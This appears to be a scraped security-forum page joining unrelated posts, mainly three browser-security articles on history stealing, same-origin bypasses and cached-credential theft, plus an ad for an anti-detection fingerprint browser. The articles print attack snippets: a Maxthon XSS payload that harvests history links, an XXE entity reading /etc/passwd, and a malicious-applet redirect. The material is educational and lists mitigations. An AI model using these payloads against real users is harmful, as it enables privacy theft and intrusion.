Search the Community

IDENTORY is an universal anti-detection browser, allowing on-the-fly creation of unique identities for any site. What is in the box? Real fingerprints IDENTORY provides a huge database of the most accurate hardware configurations. Maximum protection Innovative and multi-level fingerprint substitution system with operating system leaks protection. Complete privacy We do not collect usage information and all profiles are stored locally on your computer. User-friendly interface Maximum intuitive and functional interface, designed with great attention to detail. Maximum performance The application is optimized to start quickly and work simultaneously with 100 or more profiles. Cross-platform IDENTORY works stably on Windows, macOS (Intel / Apple Silicon) and Linux. Actuality IDENTORY uses the latest version of the Chromium core and is constantly updating automatically. All necessary tools Convenient work with proxy lists (import / check) and cookies (import / export / automatic gathering). Mobile device fingerprints Advanced browser-based emulation of mobile devices (iPad & iPhone). API and automation Programmatically creating profiles and browser automation (Puppeteer / Playwright / Selenium / CDP). Pricing Pricing starts from $49/ month. Billing periods of 1 month, 3 months, 6 months and 1 year are available for each plan. You can find detailed information about plans on the official website. Special offer are available for rstforums.com users: 20% discount on the first subscription with RSTFORUMS promo code. Contacts Website: https://identory.com News channel: https://t.me/identory Support: https://t.me/identory_support

Un script f simplu pentru enervat prietenii facut de un amic. Pe iphone e foarte enervant orice browser am folosi. Aici este pagina unde ruleaza live un demo.

Here’s my Secret: Today I have something that will make you feel like you have a powerful computer: The Great Suspender — A lightweight Chrome extension to let you manage when tabs should be put "to sleep" or suspended — anywhere from 20 seconds to 3 days. So now you can keep your Gmail, Facebook, and several other tabs open in the background without any fear of slowing down your computer system, and access those tabs again at any point you would like to. I’m sure there are other extensions as well, but this one has worked fantastic for me and dramatically improved my Chrome and my overall surfing experience. Automatically Suspend Tabs with The Great Suspender to avoid Browser Slow down or Crash: The Great Suspender extension effectively allows you to automatically suspend specific tabs that aren’t in use after a set number of minutes. But worry not, as you can restore any particular tab by clicking anywhere on the page when required. Thus, if you have a lot of tabs open in your web browser at one time and you want all of them to keep open, you can automatically avoid them eating up your computer's memory and battery life by suspending them, but also keeping them readily available when required. The Great Suspender gives you the option to suspend specific tabs manually as well while keeping them available in your tab bar. Meanwhile, you can also add any site (such as Gmail, Facebook and so on) to a "whitelist," which will prevent certain pages from suspension no matter what. There are some suboptimal alternatives, including the popular OneTab, which sucks all your open tabs into a list displayed in a single tab, but I prefer The Great Suspender as it keeps tabs visible and accessible even when they aren't active. - See more at: I keep 200+ Browser Tabs Open, and My Computer Runs Absolutely Fine. Here’s My Secret.

Am o problema cu browserul Mozilla for android. De pe unele pagini imi iese automat din browser si imi apare ecranul de start. Ce pot sa fac? De exemplu intru pe Vbet - Sport betting, Poker, Casino, Online Games si imi iese din browser

Exploiting Same Origin with Browser History Browser history attacks leak sensitive information regarding different origins. They allow you to determine what origins the user has been visiting. In a legacy browser, a browser history attack typically involved simply checking the color of links (blue) written to the page. You will briefly explore using CSS Colors, but today’s latest browsers have been patched, so you won’t find this type of attack. This article will describe attack methods that are currently the most effective for revealing browser history information across a range of browsers. A few examples of lesser-known browsers vulnerable to these history-stealing vulnerabilities, like Avant and Maxthon browsers, will also be explored. Using CSS Colors In previous days, stealing browser history using CSS information was very easy and possible. This attack was performed through the abuse of the visited CSS selector. The technique was very simple but very effective. Take for example the following code: <a id="site_1" href="http://httpsecure.org">link</a> CSS action selector could be used to check if the target visited the previous link, and therefore would be present in the browser history looking similar to this: #1: visited { background: url(/httpsecure.org?site=securityflaw); } In the above mentioned code, the background selector is used, but you can use any selector where a URI can be specified. In the instance of httpsecure.org being present in the browser’s history, a GET request to httpsecure.org?site=securityflaw will be submitted. Jeremiah Grossman found a similar issue exploiting technique in 2006 that also relied on checking the color of a link element. In most browsers, the default behavior when a link had already been visited by user set the color of the link text from blue to violet. On the other way, if the link had not been visited, it was set to its default color (blue). In Grossman’s original Proof of Concept, the link visited by user style was overridden with a custom style/color (such as pink). A script was then used to dynamically generate links on the page, potentially hidden from the user. These were compared with the previously overridden pink color link. If a match was found, an attacker would know that the site was present in the browser history. Consider the following example: <html> <head> <style> #link:visited {color: # FF1493;} </style> </head> <body> <a id="link" href="http://httpsecure.org" target="_blank">clickhere</a> <script> var link = document.getElementById("link"); var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color"); console.log(color); </script> </body> </html> If the link was already visited by the user, and if the browser is vulnerable to this issue, the output in the console log would be rgb(255,20,147), which corresponds to the pink color overridden in the CSS. If you run the above mentioned snippet in Firefox (which is already patched against this attack), it will always return rgb(0, 0, 238). Nowadays, most modern browsers have patched this behavior. For example, Firefox patched this technique in 2010. Using Cache Timing Felten and Schneider wrote the first white papers on the topic of cache timing attacks in 2000. The paper, titled “Timing Attacks on Web Privacy,” was mainly focused on measuring the time required to access a resource with or without browser caching. Using this information, it was quite possible to deduce if the resource was already retrieved (and cached). The limitation of this attack was that querying the browser cache during the initial test was also tainting it. Michal Zalewski found another way which was totally non-destructive to extract browser history using a previously mentioned cache-timing technique. Zalewski’s way consists of loading resources in iframes, trapping same origin policy violations, and preventing the alteration of the cache. Iframes are great, just because the same origin policy is enforced and you can prevent the iframe from fully loading the resource, preventing the modification of the same into the local cache. The cache stays untouched, as short timings are used when loading and unloading resources. As soon as it can be ascertained that there is a cache miss on a particular resource, the iframe loading is stopped. This behavior allows testing the same resource again at a later stage. The most effective resources to target using this technique are JavaScript or CSS, reason being they are often cached by the browser, and are always loaded when browsing to a target application. These resources will be loaded in iframes, and it should not include any framebusting logic, such as X-Frame-Options (other than Allow). Mansour Behabadi found a different technique that relied on the loading of images instead. The technique currently only works on WebKit- and Gecko-based browsers. When your browser has cached an image, it usually takes less than 10 milliseconds to load it from the cache. If the image is not found in the browser cache, the fetching will start from the server and time depend upon image size and net connection speed. Using this timing information, you can check out whether a target’s browser has previously visited websites. Note: You can read the full source code of this technique on https://browserhacker.com, or the Wiley website at www.wiley.com/go/browserhackershandbook where the original three PoCs have been modified and merged as a single code snippet. Just remember that an additional limitation of this technique is that the resource you want to find, for example http://httpsecure.org/images/arrow.png, might be moved temporarily or permanently b the time you are reading this article. This is already the case for some of the resources used in the original PoC by Zalewski. Reason being both of these techniques rely on specific and short timings when reading from the cache, and they’re both very sensitive to machine performance. The same thing applies to the second technique, where the timing is “hard-coded” to 10 milliseconds. For example, if you’re playing an HD video on Vimeo while your machine is extensively using CPU and IO, the accuracy of the results may decrease. Using Browser APIs Avant is a lesser-known browser that can swap between the Trident, Gecko and WebKit rendering engines. Roberto Suggi Liverani has found an attack for bypassing the same origin policy using specific browser API calls in the Avant browser prior to 2012 (build 28). Let’s consider the following code that shows this issue: var av_if = document.createElement("iframe"); av_if.setAttribute('src', "browser:home"); av_if.setAttribute('name','av_if'); av_if.setAttribute('width','0'); av_if.setAttribute('heigth','0'); av_if.setAttribute('scrolling','no'); document.body.appendChild(av_if); var vstr = {value: ""}; //This works if Firefox is the rendering engine window['av_if'].navigator.AFRunCommand(60003, vstr); alert(vstr.value); The above mentioned code snippet loads the privileged browser:home address into an iframe, and then executes the function AFRunCommand() from its own navigator object. This function is an undocumented and proprietary API that Avant added to the DOM. Liverani tried a brute force on some of the integer values which need to be passed as the first parameter to the function. He found that by passing the value 60003 and a JSON object to the AFRunCommand() function, he was able to retrieve the victim’s full browser history. This is clearly a Same Origin Policy bypassing technique because code running on an origin such as http://httpsecure.org must not be able to read the contents of a higher zone, like browser:home, as per in this code. Executing the previous code snippet would result in a pop- up containing the browser history in it. This issue has been found in Maxthon 3.4.5 (build 2000). Maxthon is another less-known web browser. Roberto Suggi Liverani discovered that the content rendered in the about:history page does not have effective output escaping. This can be exploitable. If an attacker forces a victim to open a malicious link, this injection will persist in the history page until history is cleared: http://example.com/issue/hacked.html#” onload=’prompt(1)'<!— This code will execute each and every time the victim checks the browser history. Also, JavaScript is executing in the privileged zone. The about:history page happens to be mapped to a custom Maxthon resource at mx://res/history/index.htm. Injecting code into this context allows you to steal all the history contents. div: links = document.getElementById('history-list') .getElementsByTagName('a'); result = ""; for(var i=0; i<links.length; i++) { if(links[i].target == "_blank"){ result += links[i].href+"\n"; } } alert(result); This above mentioned payload can be packaged and delivered with the following link: http://example.com/issue/hacked.html#" onload='links=document. getElementById("history-list").getElementsByTagName("a"); result="";for(i=0;i<links.length;i++){if(links[i].target=="_blank") {result+=links[i].href+"\n";}}prompt(result);'<!-- Cross-content scripting vulnerability is stored. So, after loading the malicious content into the history page the first time, the code will execute every time the user revisits their history. In a real case of launching this attack, it would be necessary to replace the prompt() function with one of the hooking techniques. Browser history can be sent to the server. Reference https://browserhacker.com/ Source

The same origin policy is an important concept in the web application information security domain. In this policy, a web browser allows scripts contained in a first web page ‘A’ to access data/resources in a second web page ‘B’, however, only if both web pages have the same origin. An origin is defined as a combination of URI scheme, hostname, and port number. This policy prevents a malicious script on one page from obtaining access to sensitive data on another web page through that page’s DOM (document object model). Let’s consider one example in a physical world scenario. Imagine a school where all students within have a different origin. One class has many students, but all are unrelated. If a guardian makes a request to the school staff for his/her son’s classmate’s progress report, the school staff would deny the same as he/she not authenticated for the same. Similarly, if the school received a request for checking a student’s progress report, first they would ensure the requester is a guardian/parent/close relation of the student before granting student’s details/progress report. This is closely related to the browser with the same origin policy (SOP). Now, imagine a school that allowed access to anyone’s progress report to any guardian from the outside world – that would be like a browser without SOP. The same origin policy mechanism defines a particular significance for modern web applications that extensively depend on HTTP cookies to maintain authenticated user sessions, as servers act based on the HTTP cookie information to reveal sensitive information. A strict segregation between content provided by unrelated sites must be maintained on the client side to prevent the loss of data confidentiality or integrity. Same origin policy: Is it really important? Assume that you are logged into the Gmail server and visit a malicious website in the same browser, but another tab. Without implementing the same origin policy, an attacker can access your mail and other sensitive information using JavaScript. For example read private mail, send fake mail, read your chats. Also, Gmail uses JavaScript to enhance the user experience and save round trip bandwidth, so it is really so important that the browser can detect that this JavaScript is trusted to access Gmail resources. That’s where the same origin policy comes into the picture. Now imagine the same scenario and replace Gmail with your online banking application – it could be worse. Understand SOP with DOM: Same origin policy weds document object model When we talk about how JavaScript can access DOM policies, we consider the 3 portions of the URL, which are HOST NAME + SCHEME + PORT. If more than one application has the same hostname, scheme and port and is trying to access the DOM data, access will be granted. However, Internet Explorer only validates hostname + scheme before accessing the same. Internet Explorer does not care about PORT. This is traditional scenario which works well when accessing the same with one origin. In many cases, multiple hosts could be possible within the same root domain which accesses the source page’s DOM. Google is one example, which takes a series of sites’ authentication from the central authentication server. For instance, cart.httpsecure.org may take authentication through login.httpsecure.org. In such cases, the sites can use the document.domain property to allow other sites within the same domain to interact with the DOM (document object model). If you want to allow the code from cart.httpsecure.org to interact with the login.httpsecure.org, the developer will need to set the document.domain property to the root of the domain on both sites. i.e. document.domain = “httpsecure.org” This means that anything in the httpsecure.org domain can access the DOM in the current page. When setting up this way, you should keep in mind that if you deployed another site on the Internet, such as about.httpsecure.org, with some vulnerability, cart.httpsecure.org may vulnerable too and could be accessed at this origin. Let’s suppose an attacker is successfully able to upload some malicious code – then about.httpsecure.org would have same level of access as the login site. Understand SOP with CORS: Same origin policy weds cross-origin resource sharing Cross-origin resource sharing (CORS) is a mechanism that allows many resources (e.g. fonts, JavaScript, etc.) on a web page to be requested from another domain outside the domain from which the resource originated. Let’s suppose an application uses an XMLHttpRequest to send a request to a different origin. In this case you cannot read the response, but the request will arrive at its destination. That’s a very useful feature of cross-origin requests. The SOP also prevents you from reading the HTTP response header and body. The best way to relax the SOP and allow cross-origin communication with XHR is using cross-origin resource sharing (CORS). If the httpsecure.org origin returns the following response header, then every subdomain of httpsecure.org can open a bidirectional communication channel with httpsecure.org: Access-Control-Allow-Origin: *.Httpsecure.org Access-Control-Allow-Methods: OPTIONS, GET, POST, HEAD, PUT Access-Control-Allow-Headers: X-custom Access-Control-Allow-Credentials: true In the above response header, the first line describes the bidirectional communication channel. The second describes that the request can be made using any of the OPTIONS, GET, POST, PUT, HEAD methods, eventually including the third line x-custom header. Access-Control-Allow-Credentials:true specify for allowing authenticated communication to a resource. Understand SOP with plugins: Same origin policy weds plugins Note: If a plugin is installed for httpsecure.org:80, then it will only have access to httpsecure.org:80. Many SOP implementations in Java, Adobe Reader, Flash and Silverlight are currently suffering from different bypass methods. Most of the browser plugins implement the SOP in their own way, such as some versions of Java consider two different domains to have the SOP if the IP is the same. This might have a devastating result in a virtual hosting environment, which host multiple applications with the same IP address. If we talk about some plugins, such as Flash player and the PDF reader plugin, they have a long critical vulnerability history. Most of these issues allow an attacker to execute remote arbitrary code, which is far more critical than SOP bypass. In Flash, you can use the method which allows you to manage cross-origin communication, which can be done using crossdomain.xml, which resides in the root of the application file and might have some of the following code. <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*.httpsecure.org" /> </cross-domain-policy> Using this code subdomain of httpsecure.org can achieve two-way communication with the application. Crossdomain.xml also supports Java and Silverlight plugins. Understand SOP with UI redressing: Same origin policy weds UI redressing UI redressing is a malicious technique of tricking a web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. UI redressing also known as clickjacking. For the attacker to bypass the SOP, it’s is little different. Some of these attacks rely on the fact the SOP was not enforced when performing the drag and drop function from the main window to an iframe. Understand SOP with browser history: Same origin policy weds browser history When we talk about browser history, the privacy of the end user always a concern. The same origin policy with browser history attack relies on traditional SOP implementation flaws, such as HTTP scheme having access to another scheme. Bypass SOP in Java Let talk about Java versions 1.7u17 and 1.6u45, which don’t enforce the SOP if two domains resolve to the same IP. Httpsecure.org and httpssecure.com resolve to the same IP (share hosting concept). A Java applet can issue cross-origin requests and read the responses. In Java versions 6 and 7, both have an equal method of the URL object. Two hosts are considered equivalent if both host names can be resolved into the same IP address. This type of vulnerability in Java SOP implementation is a critical issue when exploiting in virtual hosting environments where potentially hundreds of domains are managed by the same server and resolved to the same IP. The most important consideration concerning the privileges required by the applet to use the URL are BufferedReader and InputStreamReader objects. In Java 1.6, no user interaction is required to run the applet, however in 1.7, user permission is required to run the same due to the changes in the applet delivery mechanism implemented by Oracle Java 1.7. Now the user must explicitly use the click to play feature to run unsigned and signed applets. This feature can be bypassed using IMMUNITY and led to a subsequent (now patched) bug CVE-2011-3546 found to bypass SOP in Java. Similarly, a SOP bypass was found in Adobe reader. One of the security researchers Neal Poole found one issue: “If the resource used to load an applet was replying with 301 or 302 redirect”, the applet origin was evaluated as the source of the redirection and not the destination. Have a look at the following code: <applet code="malicious.class" archive="http://httpsecure.org?redirect_to= http://securityhacking123.com/malicious.jar" width="100" height="100"> </applet> Bypassing SOP in Adobe Reader Adobe Reader has number of security critical bugs in its browser plugin. Most of the security vulnerabilities are arbitrary code execution due to traditional overflow problems. The Adobe Reader PDF parser understands JavaScript. This attribute is often used by malware to hide malicious code inside PDFs. CVE-2013-0622, found by Billy Rios, Federico Lanusse and Mauro Gentile, allows bypassing the SOP (unpatched 11.0.0 version below). Where exploiting an open redirect which allows a foreign origin to access the origin of the redirect, the request that returns a 302 redirect response code is used to exploit the vulnerability. If we talk about XXE Injection, it involves trying to inject malicious payloads into the request that accepts XML input as below: <!DOCTYPE bar > <!ELEMENT bar ANY > <!ENTITY xxe SYSTEM "/etc/passwd" >]><bar>&xxe;</bar> In this XML parser that allows external entities, the value of &XXE is then replaced by the /etc/passwd. This technique can be used to bypass the SOP. It will load XE and the server will serve you with a 302 redirect response. Bypassing SOP in Adobe Flash Adobe Flash uses the crossdomain.xml file, which can control applications wherever Flash can receive data. We can set a restriction on this file to only trust mentioned sites as follows: <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*" /> </cross-domain-policy> By setting the allow-access-from domain, a Flash object loaded from any origin can send requests and read responses. Bypassing SOP in Silverlight Silverlight is a Microsoft plugin that uses the same origin policy in the same way as Flash does. However, it uses clientaccess-policy.xml codes shown below: <?xml version="1.0" encoding="utf-8"?> <access-policy> <cross-domain-access> <policy> <allow-from> <domain uri="*"/> </allow-from> <grant-to> <resource path="/" include-subpaths="true"/> </grant-to> </policy> </cross-domain-access> </access-policy> Keep in mind that Flash and Silverlight have differences, such as Silverlight doesn’t segregate access between different origins based on scheme and port as Flash and CORS do. So, https://Httpsecure.org and http://Httpsecure.org consider the same origin policy. Bypassing SOP in Internet Explorer Internet Explorer 8 or below are vulnerable to SOP bypass in their implementation of document.domain. The issue can be exploited easily by overriding the document object and then the domain property. The following code demonstrates the same: var document; document = {}; document.domain = ‘httpsecure.org'; alert(document.domain); his code may cause a SOP violation error code in the JavaScript console if you run this in the latest browser. The same will work in older/legacy browser of Internet Explorer. Using XSS this can be exploited and can open bidirectional communication with other origins. References http://en.wikipedia.org/wiki/Same-origin_policy http://en.wikipedia.org/wiki/Cross-origin_resource_sharing http://en.wikipedia.org/wiki/Clickjacking https://browserhacker.com/ Source

Best Free Download UC Browser for pc - UC Browser for web

Abstract Web browsers or mobile browsers are software applications that act as the intermediary applications between a user and the World Wide Web and are used to access information from the Web. Some of the popular browsers which we are using in our daily life are Google Chrome, Mozilla Firefox, Internet Explorer, Opera, Safari, etc. With their wide usage and increasing popularity, they have become one of the major targets for exploitation by hackers. A small mistake during the coding of the application may result in it being vulnerable to intrusions. This article is going to cover a few browser-based attacks, which are not browser specific and can be exploited on any browser if not closed by the application developers during writing or designing the application. The following browser-based attacks, along with the mitigation, are going to be covered in this article: Browser cache: Obtaining sensitive information from the cache stored in browsers. Back and Refresh attack: Obtaining credentials and other sensitive data by using the Back button and Refresh feature of the browser. Passwords in browser memory: Getting the password or credit card details stored in the browser’s physical memory. Autocomplete: Obtaining the credentials of a user from the stored password in the browser. Browser history: Sensitive information leaked through the URL from the browser’s history. 1. Browser Cache Every time when a website is opened, the contents of that web page are sent to the browser’s temporary cache folder of a user’s machine. If those contents on that web page need to load again, the browser opens the page from the cache instead of downloading the page again. If some web application stores and shows the sensitive information to the user (such as their address, credit card details, username), this information could also be stored for caching, and hence it is retrievable through examining the browser’s cache. In IE, these pages are stored in C:\Users\<user_name>\AppData\Local\Microsoft\Windows\Temporary Internet Files In Firefox, these pages are stored in C:\Users\<user_name>\AppData\Local\Mozilla\Firefox\Profiles\<profile-id>\Cache Or by typing the following URL in the address bar of the browser: about:cache In Chrome, these pages are stored in C:\Users\<user_name>\AppData\Local\Google\Chrome\User Data\Default\Cache Or by typing the following URL in the address bar of the browser: chrome://cache Proof of Concept This demo is shown in the Mozilla Firefox browser. Log in to the application, access a few pages and then log out of the application. In the address bar, type about:cache. This shows the cache store in the browser. Go through the list and access the cache content of the website you are interested in. The following screenshot shows the URL for the user dashboard. The user dashboard can have sensitive information like address, phone number, mapped credit card details, e-mail ID, etc. On opening a specific cache entry, the user dashboard can be seen along with the address, phone number, order history, etc. This is shown in the following screenshot Mitigation This problem can be mitigated by setting proper cache control attributes in the response header. Mainly there are two types of cache attributes: 1. Cache-control: no-cache The no-cache attribute indicates that the browser should not use the information that is cached for that particular request–response pair. The browser stores the cache, but instead of showing the content from the cache, it sends the request to the server each time. But again, the cache will be only be in the browser and can be easily accessed by an attacker or malicious user. 2. Cache-control: no-store The no-store attribute indicates that the request–response pair should not be cached and stored in the browser. This applies to the entire page. 3. Using HTML meta tags You can implement the cache control using Meta tags also. Meta tags can be set as follows: <meta http-equiv=”Cache-Control” content=”no-cache” /> <meta http-equiv=”Cache-Control” content=”no-store” /> Here, if the cache-control header is manually appended in the HTTP response and set to no-cache, as shown in the following screenshot, the browser will still cache the page. If the browser cache is accessed, the cached pages of a user’s dashboard can be found. Opening it in Offline mode will show the order details, as shown in the screenshot below. Now, if the value of a cache-control header is set to no-store, no-cache and the browser cache is accessed, the cached pages of a user’s dashboard will not be found. This is shown in the following screenshots. Hence, the developer should analyze the web page content and implement proper cache-control attributes on the pages storing sensitive data. 2. Password in browser memory Most of the applications and servers store the password in hashed or encrypted format, but such hashing/encryption is not applied while storing passwords in the browser memory. The GET and POST requests on any sensitive page where the user is supplying sensitive information (like credentials, credit card number, etc.) is stored in the browser memory while it is open. An attacker with local access to the system can read the sensitive data using memory-reading tools like WinHex. An adversary with physical access to the user’s open browser, after logout, can thus steal the sensitive data from the memory. Once sensitive data like a password is discovered, attackers can escalate their privileges in the application. Proof of Concept Access the application. Enter the valid credentials, as shown in the following screenshot, and browse through the application. After logging out of the application, do not close the browser. Open any memory reading tool like “Winhex” and navigate to the following path, as shown in the screenshots below: Tools ? Open Ram ? Choose a browser (in this case Firefox) ? Select Entire Memory Search through the data using the username. The complete login request for that specific application can be obtained, as shown in the screenshot below. From here, an attacker can steal the login credentials of a user and escalate his privilege. Mitigation As this problem is present in the browser/local machine, using SSL will not mitigate this. A user can’t stop the browser from storing the password or other sensitive information. A solution has to be implemented through which the attacker can’t replay the password value obtained from the physical memory. So, the solution for this is to implement salted hashing. Instead of sending the password to the server, send the salted hash value of the password. Here is how the salted hashing technique works: Store the MD5 hash of the password in the database. (MD5 hash is a cryptographic technique in which the actual value can never be recovered). When a client requests for a login page, the server generates a random number called salt and sends it to the user along with the page. A JavaScript present on the client machine calculates the MD5 hash of the password entered by the user. It then combines the hash value with the salt value and recalculates the hash value. This hash value is sent to the server. The server picks the hash value of the password from its database, combines it with the salt value and calculates the MD5 hash value. If both the values match (it will happen only when the user enters the correct password), the user is authenticated to the application. Every time the salt value will be different; hence, even if the attacker gets the hashed password from the browser’s memory, he can’t replay it. Another solution could be implementing a JavaScript, which forcefully closes the browser once the user is logged out of the application. This will flush the complete memory of the browser, and hence no data can be retrieved from the browser’s memory. 3. Back and Refresh attack Browsers have the ability to maintain a recent record of pages that were visited by a user. The Back and Forward buttons on browsers use this functionality to display the pages recently browsed. In addition, browsers also keep track of variables like username, password, credit card details, etc. that were POSTed to the server while fetching the page. If a user logs in to the website, performs some actions and then logs out, and an adversary has access to the same machine as the user, he can see the logout page that is displayed on the browser window. He can then click the Back button until he reaches the page shown after a successful login. Here, the attacker can click the Refresh button, and the browser automatically resubmits the request with all the information. Proof of Concept Consider the Change Password page of an application: Log in to the application and access the Change Password page. Enter the values in the Current Password and New Password fields and click Submit. The request and response series for the Change Password request are shown in the following screenshots. Request Response The following screenshot shows that the password gets changed successfully. Browse through the application and then log out of the application. After logout, leave the machine without closing the browser window. An attacker who has physical access to this machine can simply click the Back button drop-down list and identify the page which comes after the Change Password page. This is depicted in the following screenshot. When a specific page is clicked, the browser displays the warning that the page has expired, as shown in the following screenshot. At this point the attacker can start a browser proxy tool like Burp and configure the browser to send its requests through the proxy. On the error page, the adversary clicks the Refresh button. The browser shows a pop-up warning to the user about reposting some of the variables in order to access the page, as shown in the screenshot below. The attacker clicks the “Resend” button. The attacker can see the request going to server using the configured proxy tool and can steal the password value of the user. This is shown in the screenshot below. Variation of the attack Many times it has been observed that the site is using redirection on successful login but not on unsuccessful login. If a login page is secured by CAPTCHA and the user provides the correct credentials but the wrong CAPTCHA value, then the user is again served with the login page with an error message. In this case too, an attacker can steal the credentials using the Back and Refresh features. Even if CAPTCHA is not implemented, an attacker can get some sensitive information like correct username or password. Proof of Concept Access the login page of the application and provide the correct username and wrong password, as shown in the following screenshot. After validating the credentials, the server responds with a “200 OK” with error stating “Username/Password is wrong”. This is shown in the screenshots below. Click the Back button and access the page which came after providing the incorrect credentials, as shown in the following screenshot. The browser warns that the document has expired and asks the user to resend the data to the server, as shown in the following screenshot. Configure the proxy between the browser and server and intercept the data going to the server. Click the “Resend” button. The user credentials can be seen in cleartext in the captured request, as shown in the following screenshot. Cause of problem The browser keeps track of the requests sent to server to fetch particular pages. In this case, the Change Password page is “changepass.aspx” and the page which appears after is “changepass1.aspx”. The “changepass1.aspx” page is displayed after providing the Current, New and Confirm Password values. So, the browser remembers the request which is sent to get the “changepass1.aspx” page. The following steps are present for the existing scenario: The user accesses the “changepass.aspx” page. The user types the current password, new password, and confirm new password and submits the request which is sent to “changepass1.aspx”. The user is authenticated in the “changepass1.aspx” page. The user is served with the “changepass1.aspx” page. When the attacker clicks the “changepass1.aspx” page, the request which was sent to render “changepass1.aspx” is resent to the server. This request contains the current, new and confirm new password values. Mitigation The following steps will be performed if an intermediate page is implemented between “changepass.aspx” and “changepass1.aspx”: The user accesses the “ChangePass.aspx” page. The user types the current password, new password, and confirm new password and submits the request to “CheckPass.aspx” The user is authenticated in the “CheckPass.aspx” page. The user is redirected to the “ChangePass1.aspx” page. The browser sends a new request to fetch the “ChangePass1.aspx” page. Now, even if an attacker refreshes the “changepass1.aspx” page, the request which the browser used to get “changepass1.aspx” will be sent, which is a redirect request sent by “CheckPass.aspx”. The request will be a simple GET request for fetching “ChangePass1.aspx” and there will be no value going in that request. The solution should be implemented on all the pages where a form is being submitted or some sensitive action is happening. 4. Autocomplete In many applications, when the user submits credentials, the browser shows a pop-up for remembering the password. If the user clicks “Remember password”, the browser will store the password and automatically enter it when the same application is accessed again. The feature is convenient for users, as they don’t have to remember and enter the password, but it poses a problem if the user is using this feature on a shared or public computer. An attacker can easily retrieve the stored password from the browser. Even if the stored passwords are encrypted or protected by the master password (a password to access the stored passwords), an attacker can retrieve this password by visiting the application, for which the password is stored, in the browser. An attacker enters the username and the browser automatically fills the password field. An attacker can run a proxy tool like Burp to intercept the request going to server and then can obtain the cleartext or encrypted password going to server. The saved password can be accessed by navigating to: Firefox: Options ? Security ? Saved Password Chrome: Settings ? Manage password (Under password and forms) IE: Internet Options ? Content ? AutoComplete Settings ? Manage Passwords Proof of Concept Here, after entering the credentials, the browser shows a popup asking the user if the password for the website should be remembered. This is depicted in the screenshot below. If the user clicks “Remember Me”, the password will be stored in the browser. In Firefox, the saved password can be accessed by navigating to Tools ? Options ? Security ? Saved Password. This is depicted in the following screenshot. When the “Saved Passwords” button is clicked, the browser shows the list of websites for which the passwords are stored in the browser. This is shown in the following screenshot. If the “Show Passwords” button is clicked, the user will be able to see the stored passwords, as shown in the screenshot below. Now, suppose the list of stored passwords is secured by a master password in the browser. Then the user has to enter the master password to access the list, as shown in the screenshot below. In this case, an adversary needs to use an intermediate proxy tool to intercept the request going to the server. Go to the application and double click the username field. It will show the list of the stored usernames. Click one username and the browser will automatically fill the password from the stored password list. This password can’t be seen, as it is hidden behind the asterisk symbol. A user can click the Submit button and capture the request going to server using a web proxy tool like Burp. From the intercepted request, it is easy to find the password of submitted username, as the data can be seen in cleartext. This is shown in the following screenshot. Mitigation The problem can be solved by setting the Autocomplete attribute in the Login and other sensitive pages. Make sure the Autocomplete attribute for all sensitive pages is set to “off”. A sensitive page can be the Login page, change password page, edit information page, etc. If Autocomplete is not configured on the page, then by default it is “ON” and the application will store the information. This can be done using the following command: < form autocomplete=”off”> – It will set Autocomplete to “OFF” for all form fields in the page. Even if the browser is configured to store the password, the above code will overwrite the browser settings. The Autocomplete attribute is ignored in the latest versions of all browsers. Hence, the above solution won’t work for the latest versions of the browsers. As a security best practice, a user should be warned with a generic warning message about storing the cleartext password in the browser. A more advanced way of implementation, involving HTML and JavaScript, can be used. A sample code is available here. 5. Browser history When a user submits any data, it goes to the server either in a GET request or in a POST request. In a GET request the user data is present in the URL itself, whereas in a POST request the user data is present in the body of the request. The following two screenshots show user data going in GET and POST requests. All GET requests that are accessed from the browser are stored in the browser’s history and cache. This data can be viewed even if the user is logged out or the browser is closed by checking the history of the browser. So, if an application sends the user’s sensitive information through a GET request, i.e. through URL, an attacker can obtain this data by checking the browser history. GET request: POST request: Proof of Concept Here, after entering the credentials on the website when the user clicks the LOG IN button, the credentials are sent in a GET request. This is shown in the following screenshot. The request going to server is captured in Burp, which shows that the user provided data is sent as a GET request. This is depicted in the following screenshot. So, an attacker who has physical access to the user’s machine can see these credentials in the browser’s history, as shown in the screenshot below. In the same way, if an application sends other sensitive data like credit card details through the GET request, the data can be accessed from the browser history. Mitigation Never send sensitive information in the GET request. Data containing sensitive information should be sent through the POST request. When sensitive information is sent in the POST request, the data goes in the request body, and hence can’t be accessed from the browser history, because the browser history only shows all the GET requests. Implement the POST method in the form as shown below: <form name=”login” action=”index_submit” method=”POST” accept-charset=”utf-8?> The above screenshots shows that no sensitive data is being stored in the browser history when the application is using POST instead of the GET method. Conclusion So, we have now discussed some browser-based attacks in this article. These attacks are applicable on web as well as mobile browsers. To perform any of the above attacks, an attacker has to depend on the following points: The attacker should have physical access to the victim’s machine. For some attacks, the browser should not be closed. The victim should not delete the browsing history, cache, etc. Due to all these limitations, the risk rating for all the above mentioned attacks ranges from Medium to Low, but depending on the information received, it can be high too. If an attacker can get account/credit/debit card details in the browser’s cache or through the Back and Refresh attack, then the risk rating would be high. All these vulnerabilities can be avoided by implementing the proper controls discussed in this article. References https://devcenter.heroku.com/articles/increasing-application-performance-with-http-cache-headers https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) http://repo.hackerzvoice.net/depot_cehv6/CEHv6%20Module%2059%20How%20to%20Steal%20Passwords/Stealing_passwords_via_browsers.pdf Source

Wandora is a tool for people who collect and process information, especially networked knowledge and knowledge about WWW resources. Our goal is to provide an easy way to aggregate and combine information from various different sources and to allow the user to play with and manipulate the collected knowledge flexible and efficiently, and without programming skills. Wandora is not only a graph database but a collection of easy-to-use tools to collect, manipulate and publish the information. Wandora is a desktop application, written in Java, and runs in Windows, Linux and Mac OS X computers. Wandora has graphical user interface and offers several topic map visualization models. You can view the topic map using a topic map browser, graph and treemap visualizations, or you can program your own visualization with embedded Processing language. Even more visualizations is available with the embedded HTML browser. Several visualization windows can be viewed simultaneusly. Next image views Wandora with three topic panels. Middle visualization is created using a Processing script, upper-right is Wandora's default graph visualization and lower-right is default topic browser. The Wandora application requires Java Runtime Environment (JRE) or Java Development Kit (JDK) version 7. Neither JRE nor JDK is included in the distribution packages. Youtube Tutorials https://www.youtube.com/channel/UClJoFDmiThA02RmAUT5YEcw Download http://www.wandora.org/download/wandora.zip

